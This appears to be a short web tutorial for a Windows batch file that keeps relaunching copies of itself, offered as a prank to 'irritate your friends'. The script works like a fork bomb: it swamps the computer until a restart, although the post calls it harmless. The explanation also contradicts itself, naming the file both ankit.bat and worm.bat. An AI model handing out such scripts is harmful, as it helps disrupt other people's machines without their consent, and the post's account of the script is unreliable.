The Infinite Loop..

This program will create a unlimited loop which you can use to irritate your friends.

In Notepad type:
start
ankit.bat
ankit.bat

Save the file as ankit.bat . If you care to test it, its a harmless loop.You might have to restart your PC after you run this but.

Working
This bat file opens the file named ankit.bat. Since you saved it as worm.bat, hence ankit.bat will open another ankit.bat and so on.
